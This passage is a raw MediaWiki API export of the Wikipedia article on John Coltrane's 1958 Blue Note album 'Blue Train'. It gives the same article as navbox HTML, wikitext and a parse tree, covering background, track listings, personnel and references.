scope=\"row\" class=\"navbox-group\" style=\"width:1%;background: #EEEEEE;\">Live albums</th>\n<td class=\"navbox-list navbox-odd\" style=\"text-align:left;border-left-width:2px;border-left-style:solid;width:100%;padding:0px\">\n<div style=\"padding:0em 0.25em\">\n<ul>\n<li><i><a href=\"/wiki/Afro_Blue_Impressions\" title=\"Afro Blue Impressions\">Afro Blue Impressions</a></i></li>\n<li><i><a href=\"/wiki/Bye_Bye_Blackbird_(John_Coltrane_album)\" title=\"Bye Bye Blackbird (John Coltrane album)\">Bye Bye Blackbird</a></i></li>\n<li><i><a href=\"/wiki/The_European_Tour\" title=\"The European Tour\">The European Tour</a></i></li>\n<li><i><a href=\"/wiki/Live_at_Birdland_(John_Coltrane_album)\" title=\"Live at Birdland (John Coltrane album)\">Live at Birdland</a></i></li>\n<li><i><a href=\"/wiki/Live_at_the_Half_Note:_One_Down,_One_Up\" title=\"Live at the Half Note: One Down, One Up\">Live at the Half Note: One Down, One Up</a></i></li>\n<li><i><a href=\"/wiki/Live!_at_the_Village_Vanguard\" class=\"mw-redirect\" title=\"Live! at the Village Vanguard\">Live! at the Village Vanguard</a></i></li>\n<li><i><a href=\"/wiki/Live_at_the_Village_Vanguard_Again!\" title=\"Live at the Village Vanguard Again!\">Live at the Village Vanguard Again!</a></i></li>\n<li><i><a href=\"/wiki/The_Complete_1961_Village_Vanguard_Recordings\" title=\"The Complete 1961 Village Vanguard Recordings\">The Complete 1961 Village Vanguard Recordings</a></i></li>\n<li><i><a href=\"/wiki/Live_in_Japan_(John_Coltrane_album)\" title=\"Live in Japan (John Coltrane album)\">Live in Japan</a></i></li>\n<li><i><a href=\"/wiki/Live_in_Paris_(John_Coltrane_album)\" title=\"Live in Paris (John Coltrane album)\">Live in Paris</a></i></li>\n<li><i><a href=\"/wiki/Live_in_Seattle_(John_Coltrane_album)\" title=\"Live in Seattle (John Coltrane album)\">Live in Seattle</a></i></li>\n<li><i><a href=\"/wiki/Newport_%2763\" title=\"Newport '63\">Newport '63</a></i></li>\n<li><i><a href=\"/wiki/New_Thing_at_Newport\" title=\"New Thing at Newport\">New Thing at Newport</a></i></li>\n<li><i><a href=\"/wiki/The_Olatunji_Concert:_The_Last_Live_Recording\" title=\"The Olatunji Concert: The Last Live Recording\">The Olatunji Concert: The Last Live Recording</a></i></li>\n<li><i><a href=\"/wiki/The_Paris_Concert_(John_Coltrane_album)\" title=\"The Paris Concert (John Coltrane album)\">The Paris Concert</a></i></li>\n<li><i><a href=\"/wiki/Offering:_Live_at_Temple_University\" title=\"Offering: Live at Temple University\">Offering: Live at Temple University</a></i></li>\n</ul>\n</div>\n</td>\n</tr>\n<tr>\n<th scope=\"row\" class=\"navbox-group\" style=\"width:1%;background: #EEEEEE;\">Compilations</th>\n<td class=\"navbox-list navbox-even\" style=\"text-align:left;border-left-width:2px;border-left-style:solid;width:100%;padding:0px\">\n<div style=\"padding:0em 0.25em\">\n<ul>\n<li><i><a href=\"/wiki/Alternate_Takes\" title=\"Alternate Takes\">Alternate Takes</a></i></li>\n<li><i><a href=\"/wiki/The_Best_of_John_Coltrane\" title=\"The Best of John Coltrane\">The Best of John Coltrane</a></i></li>\n<li><i><a href=\"/wiki/The_Classic_Quartet:_The_Complete_Impulse!_Recordings\" title=\"The Classic Quartet: The Complete Impulse! Recordings\">The Classic Quartet: The Complete Impulse! Recordings</a></i></li>\n<li><i><a href=\"/wiki/Coltrane_for_Lovers\" title=\"Coltrane for Lovers\">Coltrane for Lovers</a></i></li>\n<li><i><a href=\"/wiki/The_Coltrane_Legacy\" title=\"The Coltrane Legacy\">The Coltrane Legacy</a></i></li>\n<li><i><a href=\"/wiki/The_Complete_Columbia_Recordings_of_Miles_Davis_with_John_Coltrane\" title=\"The Complete Columbia Recordings of Miles Davis with John Coltrane\">The Complete Columbia Recordings of Miles Davis with John Coltrane</a></i></li>\n<li><i><a href=\"/wiki/The_Prestige_Recordings\" title=\"The Prestige Recordings\">The Prestige Recordings</a></i></li>\n<li><i><a href=\"/wiki/Countdown:_The_Savoy_Sessions\" title=\"Countdown: The Savoy Sessions\">Countdown: The Savoy Sessions</a></i></li>\n<li><i><a href=\"/wiki/Dial_Africa:_The_Savoy_Sessions\" title=\"Dial Africa: The Savoy Sessions\">Dial Africa: The Savoy Sessions</a></i></li>\n<li><i><a href=\"/wiki/The_Mastery_of_John_Coltrane,_Vol._1:_Feelin%27_Good\" title=\"The Mastery of John Coltrane, Vol. 1: Feelin' Good\">Feelin' Good</a></i></li>\n<li><i><a href=\"/wiki/Gleanings_(album)\" title=\"Gleanings (album)\">Gleanings</a></i></li>\n<li><i><a href=\"/wiki/Gold_Coast_(album)\" title=\"Gold Coast (album)\">Gold Coast</a></i></li>\n<li><i><a href=\"/wiki/The_Heavyweight_Champion:_The_Complete_Atlantic_Recordings\" title=\"The Heavyweight Champion: The Complete Atlantic Recordings\">The Heavyweight Champion: The Complete Atlantic Recordings</a></i></li>\n<li><i><a href=\"/wiki/High_Step\" title=\"High Step\">High Step</a></i></li>\n<li><i><a href=\"/wiki/The_Major_Works_of_John_Coltrane\" title=\"The Major Works of John Coltrane\">The Major Works of John Coltrane</a></i></li>\n<li><i><a href=\"/wiki/The_Mastery_of_John_Coltrane,_Vol._3:_Jupiter_Variation\" title=\"The Mastery of John Coltrane, Vol. 3: Jupiter Variation\">Jupiter Variation</a></i></li>\n<li><i><a href=\"/wiki/Ken_Burns_Jazz:_John_Coltrane\" title=\"Ken Burns Jazz: John Coltrane\">Ken Burns Jazz: John Coltrane</a></i></li>\n<li><i><a href=\"/wiki/The_Last_Giant:_Anthology\" title=\"The Last Giant: Anthology\">The Last Giant: Anthology</a></i></li>\n<li><i><a href=\"/wiki/Living_Space_(album)\" title=\"Living Space (album)\">Living Space</a></i></li>\n<li><i><a href=\"/wiki/To_the_Beat_of_a_Different_Drum\" class=\"mw-redirect\" title=\"To the Beat of a Different Drum\">To the Beat of a Different Drum</a></i></li>\n<li><i><a href=\"/wiki/Trane%27s_Blues\" title=\"Trane's Blues\">Trane's Blues</a></i></li>\n<li><i><a href=\"/wiki/The_Mastery_of_John_Coltrane,_Vol._4:_Trane%27s_Modes\" title=\"The Mastery of John Coltrane, Vol. 4: Trane's Modes\">Trane's Modes</a></i></li>\n</ul>\n</div>\n</td>\n</tr>\n<tr>\n<th scope=\"row\" class=\"navbox-group\" style=\"width:1%;background: #EEEEEE;\">Compositions</th>\n<td class=\"navbox-list navbox-odd\" style=\"text-align:left;border-left-width:2px;border-left-style:solid;width:100%;padding:0px\">\n<div style=\"padding:0em 0.25em\">\n<ul>\n<li>\"<a href=\"/wiki/26-2\" title=\"26-2\">26-2</a>\"</li>\n<li>\"<a href=\"/wiki/Alabama_(John_Coltrane_song)\" title=\"Alabama (John Coltrane song)\">Alabama</a>\"</li>\n<li>\"<a href=\"/wiki/Equinox_(standard)\" class=\"mw-redirect\" title=\"Equinox (standard)\">Equinox</a>\"</li>\n<li>\"<a href=\"/wiki/Giant_Steps_(composition)\" title=\"Giant Steps (composition)\">Giant Steps</a>\"</li>\n<li>\"<a href=\"/wiki/Impressions_(composition)\" class=\"mw-redirect\" title=\"Impressions (composition)\">Impressions</a>\"</li>\n<li>\"<a href=\"/wiki/Lazy_Bird\" title=\"Lazy Bird\">Lazy Bird</a>\"</li>\n<li>\"<a href=\"/wiki/Moment%27s_Notice\" title=\"Moment's Notice\">Moment's Notice</a>\"</li>\n<li>\"<a href=\"/wiki/Mr._P.C._(composition)\" title=\"Mr. P.C. (composition)\">Mr. P.C.</a>\"</li>\n<li>\"<a href=\"/wiki/Naima\" title=\"Naima\">Naima</a>\"</li>\n<li>\"<a href=\"/wiki/Ogunde_(song)\" title=\"Ogunde (song)\">Ogunde</a>\"</li>\n</ul>\n</div>\n</td>\n</tr>\n<tr>\n<th scope=\"row\" class=\"navbox-group\" style=\"width:1%;background: #EEEEEE;\">Documentaries</th>\n<td class=\"navbox-list navbox-even\" style=\"text-align:left;border-left-width:2px;border-left-style:solid;width:100%;padding:0px\">\n<div style=\"padding:0em 0.25em\">\n<ul>\n<li><i><a href=\"/wiki/The_Church_of_Saint_Coltrane\" title=\"The Church of Saint Coltrane\">The Church of Saint Coltrane</a></i></li>\n<li><i><a href=\"/wiki/The_World_According_to_John_Coltrane\" title=\"The World According to John Coltrane\">The World According to John Coltrane</a></i></li>\n<li><i><a href=\"/wiki/Trane_Tracks:_The_Legacy_of_John_Coltrane\" title=\"Trane Tracks: The Legacy of John Coltrane\">Trane Tracks: The Legacy of John Coltrane</a></i></li>\n</ul>\n</div>\n</td>\n</tr>\n<tr>\n<th scope=\"row\" class=\"navbox-group\" style=\"width:1%;background: #EEEEEE;\">Related</th>\n<td class=\"navbox-list navbox-odd\" style=\"text-align:left;border-left-width:2px;border-left-style:solid;width:100%;padding:0px\">\n<div style=\"padding:0em 0.25em\">\n<ul>\n<li><a href=\"/wiki/Coltrane_changes\" title=\"Coltrane changes\">Coltrane changes</a></li>\n<li><a href=\"/wiki/Sheets_of_sound\" title=\"Sheets of sound\">Sheets of sound</a></li>\n<li><a href=\"/wiki/Ravi_Coltrane\" title=\"Ravi Coltrane\">Ravi Coltrane</a></li>\n<li><a href=\"/wiki/Alice_Coltrane\" title=\"Alice Coltrane\">Alice Coltrane</a></li>\n<li><a href=\"/wiki/Flying_Lotus\" title=\"Flying Lotus\">Flying Lotus</a></li>\n<li><a href=\"/wiki/John_Coltrane_Home\" title=\"John Coltrane Home\">Dix Hills home</a></li>\n<li><a href=\"/wiki/John_Coltrane_House\" title=\"John Coltrane House\">Philadelphia house</a></li>\n<li><a href=\"/wiki/5893_Coltrane\" class=\"mw-redirect\" title=\"5893 Coltrane\">5893 Coltrane asteroid</a></li>\n<li><a href=\"/wiki/John_W._Coltrane_Cultural_Society\" class=\"mw-redirect\" title=\"John W. Coltrane Cultural Society\">John W. Coltrane Cultural Society</a></li>\n<li><i><a href=\"/wiki/Blues_for_Coltrane:_A_Tribute_to_John_Coltrane\" title=\"Blues for Coltrane: A Tribute to John Coltrane\">Blues for Coltrane: A Tribute to John Coltrane</a></i></li>\n<li><i><a href=\"/wiki/Before_John_Was_a_Jazz_Giant:_A_Song_of_John_Coltrane\" class=\"mw-redirect\" title=\"Before John Was a Jazz Giant: A Song of John Coltrane\">Before John Was a Jazz Giant: A Song of John Coltrane</a></i></li>\n</ul>\n</div>\n</td>\n</tr>\n</table>\n</div>\n\n</div>", "displaytitle": "<i>Blue Train</i> (album)", "iwlinks": [], "wikitext": "{{Infobox album\n| name = Blue Train\n| type = studio\n| artist = [[John Coltrane]]\n| cover = John Coltrane - Blue Train.jpg\n| alt = Coltrane leans back with a reed in his mouth in a deep blue-on-black photo. The words \"BLUE TRAIN\" are written above his head in white followed by \"john coltrane\" in orange.\n| released = 1958\n| recorded = September 15, 1957\n| venue =\n| studio = [[Van Gelder Studio]], [[Hackensack, New Jersey|Hackensack]]\n| genre = [[Hard bop]]{{sfn|Cook|2004|p=103}}\n| length = {{Duration|m=42|s=50}}\n| label = [[Blue Note Records|Blue Note]]<br />{{small|BLP 1577}}\n| producer = [[Alfred Lion]]\n| prev_title = [[Coltrane (1957 album)|Coltrane]]\n| prev_year = 1957\n| next_title = [[John Coltrane with the Red Garland Trio]]\n| next_year = 1958\n}}\n{{Album ratings\n| rev1 = [[AllMusic]]\n| rev1Score = {{Rating|5|5}}<ref>{{AllMusic|class=album|id=r136902}}</ref>\n|rev2 = ''[[The Penguin Guide to Jazz]]''\n|rev2score = {{Rating|4|4}}<ref name=\"Penguin\">{{cite book|last1=Cook|first1=Richard|authorlink1=Richard Cook (journalist)|last2=Morton|first2=Brian|authorlink2=Brian Morton (Scottish writer)|year=2008|title=The Penguin Guide to Jazz Recordings|edition=9th|publisher=[[Penguin Books|Penguin]]|page=284|isbn=978-0-14-103401-0}}</ref>\n|rev3 = ''[[The Rolling Stone Jazz Record Guide]]''\n| rev3Score = {{rating|5|5}}<ref name=RSJRG>{{Cite book|last=Swenson|first=J. (Editor) | author-link =|year=1985|title=The Rolling Stone Jazz Record Guide|publisher=Random House/Rolling Stone|location=USA|isbn=0-394-72643-X|page=46}}</ref>\n}}\n\n'''''Blue Train''''' is a studio album by [[John Coltrane]], released in 1958 on [[Blue Note Records]], catalogue BLP 1577. Recorded at the [[Van Gelder Studio]] in [[Hackensack, New Jersey]], it is the only Blue Note recording by Coltrane as the leader on the session. It has been certified a [[Music recording sales certification|gold record]] by the [[RIAA]].<ref>[https://www.riaa.com/goldandplatinumdata.php?table=SEARCH RIAA Gold and Platinum Search retrieved August 2, 2011] {{webarchive |url=https://web.archive.org/web/20070626000000/http://www.riaa.com/goldandplatinumdata.php?table=SEARCH |date=June 26, 2007 }}</ref>\n\n==Background==\nThe album was recorded in the midst of Coltrane's residency at the [[Five Spot]] as a member of the [[Thelonious Monk]] quartet. The personnel include Coltrane's [[Miles Davis]] bandmates, [[Paul Chambers]] on bass and [[Philly Joe Jones]] on drums, both of whom had worked before with pianist [[Kenny Drew]]. Both trumpeter [[Lee Morgan]] and trombonist [[Curtis Fuller]] were up-and-coming jazz musicians, and both would be members of [[Art Blakey]]'s Jazz Messengers, working together on several of Blakey's albums.\n\nAll of the compositions were written by Coltrane, with the exception of the [[pop standard|standard]] \"[[I'm Old Fashioned]]\". The [[Blue Train (composition)|title track]] is a long, rhythmically variegated [[blues]] with a sentimental [quasi minor; in fact based on major chords with flat tenth, or raised ninth] theme that gradually shows the [[major key|major]] key during Coltrane's first chorus. \"Locomotion\" is also a blues riff tune, in forty-four-bar form.<ref>[http://www.jazzdisco.org/john-coltrane/catalog/album-index/ Jazz Discography on-line]</ref> During a 1960 interview, Coltrane described ''Blue Train'' as his favorite album of his own up to that point.{{sfn|Porter|1999|p=157}}\n\n==Legacy==\nJohn Coltrane's next major album, ''[[Giant Steps]]'', recorded in 1959, would break new melodic and harmonic ground in jazz, whereas ''Blue Train'' adheres to the [[hard bop]] style of the era. Musicologist Lewis Porter has also demonstrated a harmonic relationship between Coltrane's \"Lazy Bird\" and [[Tadd Dameron]]'s \"[[Lady Bird (composition)|Lady Bird]]\".{{sfn|Porter|1999|pp=128-131}}\n\nIn 1997, ''The Ultimate Blue Train'' was released, adding two alternate takes and [[Enhanced CD|enhanced content]], and in 1999 a [[DVD-Audio|24bit 192 kHz DVD-Audio]] version was issued. In 2003, both a [[Super Audio Compact Disc]] version was released, as well as a [[Audio mastering|remastered]] compact disc as part of Blue Note's [[Rudy Van Gelder]] series.\n\nIn 2015, Blue Note/Universal released a [[Blu-Ray Audio]] edition of the album with four bonus tracks, one of which is a previously unreleased take of \"Lazy Bird\".\n\n==Track listing==\n===Side one===\n{{tracklist\n| title1 = [[Blue Train (composition)|Blue Train]]\n| writer1 = John Coltrane\n| length1 = 10:43\n| title2 = [[Moment's Notice]]\n| writer2 = John Coltrane\n| length2 = 9:10\n}}\n\n===Side two===\n{{tracklist\n| title1 = Locomotion\n| writer1 = John Coltrane\n| length1 = 7:14\n| title2 = [[I'm Old Fashioned]]\n| writer2 = [[Johnny Mercer]], [[Jerome Kern]]\n| length2 = 7:58\n| title3 = [[Lazy Bird]]\n| writer3 = John Coltrane\n| length3 = 7:00\n}}\n===1997 bonus tracks===\n{{tracklist\n| title6 = Blue Train\n| note6 = alternate take\n| writer6 = John Coltrane\n| length6 = 9:58\n| title7 = Lazy Bird\n| note7 = alternate take\n| writer7 = John Coltrane\n| length7 = 7:12\n}}\n\n===2013 Blue Note SHM-CD Remaster Edition (Japan Release)===\n{{tracklist\n| title1 = [[Blue Train (composition)|Blue Train]]\n| writer1 = John Coltrane\n| length1 = 10:43\n| title2 = [[Moment's Notice]]\n| writer2 = John Coltrane\n| length2 = 9:10\n| title3 = Locomotion\n| writer3 = John Coltrane\n| length3 = 7:14\n| title4 = [[I'm Old Fashioned]]\n| writer4 = [[Johnny Mercer]], [[Jerome Kern]]\n| length4 = 7:58\n| title5 = [[Lazy Bird]]\n| writer5 = John Coltrane\n| length5 = 7:00\n| title6 = Blue Train\n| note6 = Alternate Take 1\n| writer6 = John Coltrane\n| length6 = 7:12\n| title7 = Blue Train\n| note7 = Alternate Take 2\n| writer7 = John Coltrane\n| length7 = 9:58\n| title8 = Lazy Bird\n| note8 = Alternate Take\n| writer8 = John Coltrane\n| length8 = 7:12\n}}\n\n==Personnel==\n* [[John Coltrane]] – [[tenor saxophone]]\n* [[Lee Morgan]] – [[trumpet]]\n* [[Curtis Fuller]] – [[trombone]]\n* [[Kenny Drew]] – [[piano]]\n* [[Paul Chambers]] – [[double bass|bass]]\n* [[Philly Joe Jones]] – [[drum kit|drums]]\n\n==References==\n{{reflist}}\n\n==Bibliography==\n* {{cite book|ref=harv|last=Cook|first=Richard|authorlink=Richard Cook (journalist)|date=May 1, 2004|title=Blue Note Records: The Biography|publisher=[[Justin, Charles & Co.]]|isbn=1-932112-27-8}}\n* {{cite book|ref=harv|last=Porter|first=Lewis|authorlink=Lewis Porter|year=1999|title=John Coltrane: His Life and Music|publisher=[[The University of Michigan Press]]|location=[[Ann Arbor, Michigan|Ann Arbor]]|isbn=0-472-10161-7}}\n\n==External links==\n* {{Discogs master|type=album|32208|name=Blue Train}}\n\n{{John Coltrane}}\n\n{{DEFAULTSORT:Blue Train}}\n[[Category:1958 albums]]\n[[Category:Albums produced by Alfred Lion]]\n[[Category:Blue Note Records albums]]\n[[Category:Grammy Hall of Fame Award recipients]]\n[[Category:Hard bop albums]]\n[[Category:John Coltrane albums]]\n[[Category:Instrumental albums]]\n[[Category:Albums recorded at Van Gelder Studio]]", "properties": { "displaytitle": "<i>Blue Train</i> (album)", "defaultsort": "Blue Train", "wikibase_item": "Q258596" }, "parsetree": "<root><template><title>Infobox album\n</title><part><name> name </name><equals>=</equals><value> Blue Train\n</value></part><part><name> type </name><equals>=</equals><value> studio\n</value></part><part><name> artist </name><equals>=</equals><value> [[John Coltrane]]\n</value></part><part><name> cover </name><equals>=</equals><value> John Coltrane - Blue Train.jpg\n</value></part><part><name> alt </name><equals>=</equals><value> Coltrane leans back with a reed in his mouth in a deep blue-on-black photo. The words "BLUE TRAIN" are written above his head in white followed by "john coltrane" in orange.\n</value></part><part><name> released </name><equals>=</equals><value> 1958\n</value></part><part><name> recorded </name><equals>=</equals><value> September 15, 1957\n</value></part><part><name> venue </name><equals>=</equals><value>\n</value></part><part><name> studio </name><equals>=</equals><value> [[Van Gelder Studio]], [[Hackensack, New Jersey|Hackensack]]\n</value></part><part><name> genre </name><equals>=</equals><value> [[Hard bop]]<template><title>sfn</title><part><name index=\"1\"/><value>Cook</value></part><part><name index=\"2\"/><value>2004</value></part><part><name>p</name><equals>=</equals><value>103</value></part></template>\n</value></part><part><name> length </name><equals>=</equals><value> <template><title>Duration</title><part><name>m</name><equals>=</equals><value>42</value></part><part><name>s</name><equals>=</equals><value>50</value></part></template>\n</value></part><part><name> label </name><equals>=</equals><value> [[Blue Note Records|Blue Note]]<br /><template><title>small</title><part><name index=\"1\"/><value>BLP 1577</value></part></template>\n</value></part><part><name> producer </name><equals>=</equals><value> [[Alfred Lion]]\n</value></part><part><name> prev_title </name><equals>=</equals><value> [[Coltrane (1957 album)|Coltrane]]\n</value></part><part><name> prev_year </name><equals>=</equals><value> 1957\n</value></part><part><name> next_title </name><equals>=</equals><value> [[John Coltrane with the Red Garland Trio]]\n</value></part><part><name> next_year </name><equals>=</equals><value> 1958\n</value></part></template>\n<template lineStart=\"1\"><title>Album ratings\n</title><part><name> rev1 </name><equals>=</equals><value> [[AllMusic]]\n</value></part><part><name> rev1Score </name><equals>=</equals><value> <template><title>Rating</title><part><name index=\"1\"/><value>5</value></part><part><name index=\"2\"/><value>5</value></part></template><ext><name>ref</name><attr/><inner>{{AllMusic|class=album|id=r136902}}</inner><close></ref></close></ext>\n</value></part><part><name>rev2 </name><equals>=</equals><value> ''[[The Penguin Guide to Jazz]]''\n</value></part><part><name>rev2score </name><equals>=</equals><value> <template><title>Rating</title><part><name index=\"1\"/><value>4</value></part><part><name index=\"2\"/><value>4</value></part></template><ext><name>ref</name><attr> name="Penguin"</attr><inner>{{cite book|last1=Cook|first1=Richard|authorlink1=Richard Cook (journalist)|last2=Morton|first2=Brian|authorlink2=Brian Morton (Scottish writer)|year=2008|title=The Penguin Guide to Jazz Recordings|edition=9th|publisher=[[Penguin Books|Penguin]]|page=284|isbn=978-0-14-103401-0}}</inner><close></ref></close></ext>\n</value></part><part><name>rev3 </name><equals>=</equals><value> ''[[The Rolling Stone Jazz Record Guide]]''\n</value></part><part><name> rev3Score </name><equals>=</equals><value> <template><title>rating</title><part><name index=\"1\"/><value>5</value></part><part><name index=\"2\"/><value>5</value></part></template><ext><name>ref</name><attr> name=RSJRG</attr><inner>{{Cite book|last=Swenson|first=J. (Editor) | author-link =|year=1985|title=The Rolling Stone Jazz Record Guide|publisher=Random House/Rolling Stone|location=USA|isbn=0-394-72643-X|page=46}}</inner><close></ref></close></ext>\n</value></part></template>\n\n'''''Blue Train''''' is a studio album by [[John Coltrane]], released in 1958 on [[Blue Note Records]], catalogue BLP 1577. Recorded at the [[Van Gelder Studio]] in [[Hackensack, New Jersey]], it is the only Blue Note recording by Coltrane as the leader on the session. It has been certified a [[Music recording sales certification|gold record]] by the [[RIAA]].<ext><name>ref</name><attr/><inner>[https://www.riaa.com/goldandplatinumdata.php?table=SEARCH RIAA Gold and Platinum Search retrieved August 2, 2011] {{webarchive |url=https://web.archive.org/web/20070626000000/http://www.riaa.com/goldandplatinumdata.php?table=SEARCH |date=June 26, 2007 }}</inner><close></ref></close></ext>\n\n<h level=\"2\" i=\"1\">==Background==</h>\nThe album was recorded in the midst of Coltrane's residency at the [[Five Spot]] as a member of the [[Thelonious Monk]] quartet. The personnel include Coltrane's [[Miles Davis]] bandmates, [[Paul Chambers]] on bass and [[Philly Joe Jones]] on drums, both of whom had worked before with pianist [[Kenny Drew]]. Both trumpeter [[Lee Morgan]] and trombonist [[Curtis Fuller]] were up-and-coming jazz musicians, and both would be members of [[Art Blakey]]'s Jazz Messengers, working together on several of Blakey's albums.\n\nAll of the compositions were written by Coltrane, with the exception of the [[pop standard|standard]] "[[I'm Old Fashioned]]". The [[Blue Train (composition)|title track]] is a long, rhythmically variegated [[blues]] with a sentimental [quasi minor; in fact based on major chords with flat tenth, or raised ninth] theme that gradually shows the [[major key|major]] key during Coltrane's first chorus. "Locomotion" is also a blues riff tune, in forty-four-bar form.<ext><name>ref</name><attr/><inner>[http://www.jazzdisco.org/john-coltrane/catalog/album-index/ Jazz Discography on-line]</inner><close></ref></close></ext> During a 1960 interview, Coltrane described ''Blue Train'' as his favorite album of his own up to that point.<template><title>sfn</title><part><name index=\"1\"/><value>Porter</value></part><part><name index=\"2\"/><value>1999</value></part><part><name>p</name><equals>=</equals><value>157</value></part></template>\n\n<h level=\"2\" i=\"2\">==Legacy==</h>\nJohn Coltrane's next major album, ''[[Giant Steps]]'', recorded in 1959, would break new melodic and harmonic ground in jazz, whereas ''Blue Train'' adheres to the [[hard bop]] style of the era. Musicologist Lewis Porter has also demonstrated a harmonic relationship between Coltrane's "Lazy Bird" and [[Tadd Dameron]]'s "[[Lady Bird (composition)|Lady Bird]]".<template><title>sfn</title><part><name index=\"1\"/><value>Porter</value></part><part><name index=\"2\"/><value>1999</value></part><part><name>pp</name><equals>=</equals><value>128-131</value></part></template>\n\nIn 1997, ''The Ultimate Blue Train'' was released, adding two alternate takes and [[Enhanced CD|enhanced content]], and in 1999 a [[DVD-Audio|24bit 192&nbsp;kHz DVD-Audio]] version was issued. In 2003, both a [[Super Audio Compact Disc]] version was released, as well as a [[Audio mastering|remastered]] compact disc as part of Blue Note's [[Rudy Van Gelder]] series.\n\nIn 2015, Blue Note/Universal released a [[Blu-Ray Audio]] edition of the album with four bonus tracks, one of which is a previously unreleased take of "Lazy Bird".\n\n<h level=\"2\" i=\"3\">==Track listing==</h>\n<h level=\"3\" i=\"4\">===Side one===</h>\n<template lineStart=\"1\"><title>tracklist\n</title><part><name> title1 </name><equals>=</equals><value> [[Blue Train (composition)|Blue Train]]\n</value></part><part><name> writer1 </name><equals>=</equals><value> John Coltrane\n</value></part><part><name> length1 </name><equals>=</equals><value> 10:43\n</value></part><part><name> title2 </name><equals>=</equals><value> [[Moment's Notice]]\n</value></part><part><name> writer2 </name><equals>=</equals><value> John Coltrane\n</value></part><part><name> length2 </name><equals>=</equals><value> 9:10\n</value></part></template>\n\n<h level=\"3\" i=\"5\">===Side two===</h>\n<template lineStart=\"1\"><title>tracklist\n</title><part><name> title1 </name><equals>=</equals><value> Locomotion\n</value></part><part><name> writer1 </name><equals>=</equals><value> John Coltrane\n</value></part><part><name> length1 </name><equals>=</equals><value> 7:14\n</value></part><part><name> title2 </name><equals>=</equals><value> [[I'm Old Fashioned]]\n</value></part><part><name> writer2 </name><equals>=</equals><value> [[Johnny Mercer]], [[Jerome Kern]]\n</value></part><part><name> length2 </name><equals>=</equals><value> 7:58\n</value></part><part><name> title3 </name><equals>=</equals><value> [[Lazy Bird]]\n</value></part><part><name> writer3 </name><equals>=</equals><value> John Coltrane\n</value></part><part><name> length3 </name><equals>=</equals><value> 7:00\n</value></part></template>\n<h level=\"3\" i=\"6\">===1997 bonus tracks===</h>\n<template lineStart=\"1\"><title>tracklist\n</title><part><name> title6 </name><equals>=</equals><value> Blue Train\n</value></part><part><name> note6 </name><equals>=</equals><value> alternate take\n</value></part><part><name> writer6 </name><equals>=</equals><value> John Coltrane\n</value></part><part><name> length6 </name><equals>=</equals><value> 9:58\n</value></part><part><name> title7 </name><equals>=</equals><value> Lazy Bird\n</value></part><part><name> note7 </name><equals>=</equals><value> alternate take\n</value></part><part><name> writer7 </name><equals>=</equals><value> John Coltrane\n</value></part><part><name> length7 </name><equals>=</equals><value> 7:12\n</value></part></template>\n\n<h level=\"3\" i=\"7\">===2013 Blue Note SHM-CD Remaster Edition (Japan Release)===</h>\n<template lineStart=\"1\"><title>tracklist\n</title><part><name> title1 </name><equals>=</equals><value> [[Blue Train (composition)|Blue Train]]\n</value></part><part><name> writer1 </name><equals>=</equals><value> John Coltrane\n</value></part><part><name> length1 </name><equals>=</equals><value> 10:43\n</value></part><part><name> title2 </name><equals>=</equals><value> [[Moment's Notice]]\n</value></part><part><name> writer2 </name><equals>=</equals><value> John Coltrane\n</value></part><part><name> length2 </name><equals>=</equals><value> 9:10\n</value></part><part><name> title3 </name><equals>=</equals><value> Locomotion\n</value></part><part><name> writer3 </name><equals>=</equals><value> John Coltrane\n</value></part><part><name> length3 </name><equals>=</equals><value> 7:14\n</value></part><part><name> title4 </name><equals>=</equals><value> [[I'm Old Fashioned]]\n</value></part><part><name> writer4 </name><equals>=</equals><value> [[Johnny Mercer]], [[Jerome Kern]]\n</value></part><part><name> length4 </name><equals>=</equals><value> 7:58\n</value></part><part><name> title5 </name><equals>=</equals><value> [[Lazy Bird]]\n</value></part><part><name> writer5 </name><equals>=</equals><value> John Coltrane\n</value></part><part><name> length5 </name><equals>=</equals><value> 7:00\n</value></part><part><name> title6 </name><equals>=</equals><value> Blue Train\n</value></part><part><name> note6 </name><equals>=</equals><value> Alternate Take 1\n</value></part><part><name> writer6 </name><equals>=</equals><value> John Coltrane\n</value></part><part><name> length6 </name><equals>=</equals><value> 7:12\n</value></part><part><name> title7 </name><equals>=</equals><value> Blue Train\n</value></part><part><name> note7 </name><equals>=</equals><value> Alternate Take 2\n</value></part><part><name> writer7 </name><equals>=</equals><value> John Coltrane\n</value></part><part><name> length7 </name><equals>=</equals><value> 9:58\n</value></part><part><name> title8 </name><equals>=</equals><value> Lazy Bird\n</value></part><part><name> note8 </name><equals>=</equals><value> Alternate Take\n</value></part><part><name> writer8 </name><equals>=</equals><value> John Coltrane\n</value></part><part><name> length8 </name><equals>=</equals><value> 7:12\n</value></part></template>\n\n<h level=\"2\" i=\"8\">==Personnel==</h>\n* [[John Coltrane]] – [[tenor saxophone]]\n* [[Lee Morgan]] – [[trumpet]]\n* [[Curtis Fuller]] – [[trombone]]\n* [[Kenny Drew]] – [[piano]]\n* [[Paul Chambers]] – [[double bass|bass]]\n* [[Philly Joe Jones]] – [[drum kit|drums]]\n\n<h level=\"2\" i=\"9\">==References==</h>\n<template lineStart=\"1\"><title>reflist</title></template>\n\n<h level=\"2\" i=\"10\">==Bibliography==</h>\n* <template><title>cite book</title><part><name>ref</name><equals>=</equals><value>harv</value></part><part><name>last</name><equals>=</equals><value>Cook</value></part><part><name>first</name><equals>=</equals><value>Richard</value></part><part><name>authorlink</name><equals>=</equals><value>Richard Cook (journalist)</value></part><part><name>date</name><equals>=</equals><value>May 1, 2004</value></part><part><name>title</name><equals>=</equals><value>Blue Note Records: The Biography</value></part><part><name>publisher</name><equals>=</equals><value>[[Justin, Charles & Co.]]</value></part><part><name>isbn</name><equals>=</equals><value>1-932112-27-8</value></part></template>\n* <template><title>cite book</title><part><name>ref</name><equals>=</equals><value>harv</value></part><part><name>last</name><equals>=</equals><value>Porter</value></part><part><name>first</name><equals>=</equals><value>Lewis</value></part><part><name>authorlink</name><equals>=</equals><value>Lewis Porter</value></part><part><name>year</name><equals>=</equals><value>1999</value></part><part><name>title</name><equals>=</equals><value>John Coltrane: His Life and Music</value></part><part><name>publisher</name><equals>=</equals><value>[[The University of Michigan Press]]</value></part><part><name>location</name><equals>=</equals><value>[[Ann Arbor, Michigan|Ann Arbor]]</value></part><part><name>isbn</name><equals>=</equals><value>0-472-10161-7</value></part></template>\n\n<h level=\"2\" i=\"11\">==External links==</h>\n* <template><title>Discogs master</title><part><name>type</name><equals>=</equals><value>album</value></part><part><name index=\"1\"/><value>32208</value></part><part><name>name</name><equals>=</equals><value>Blue 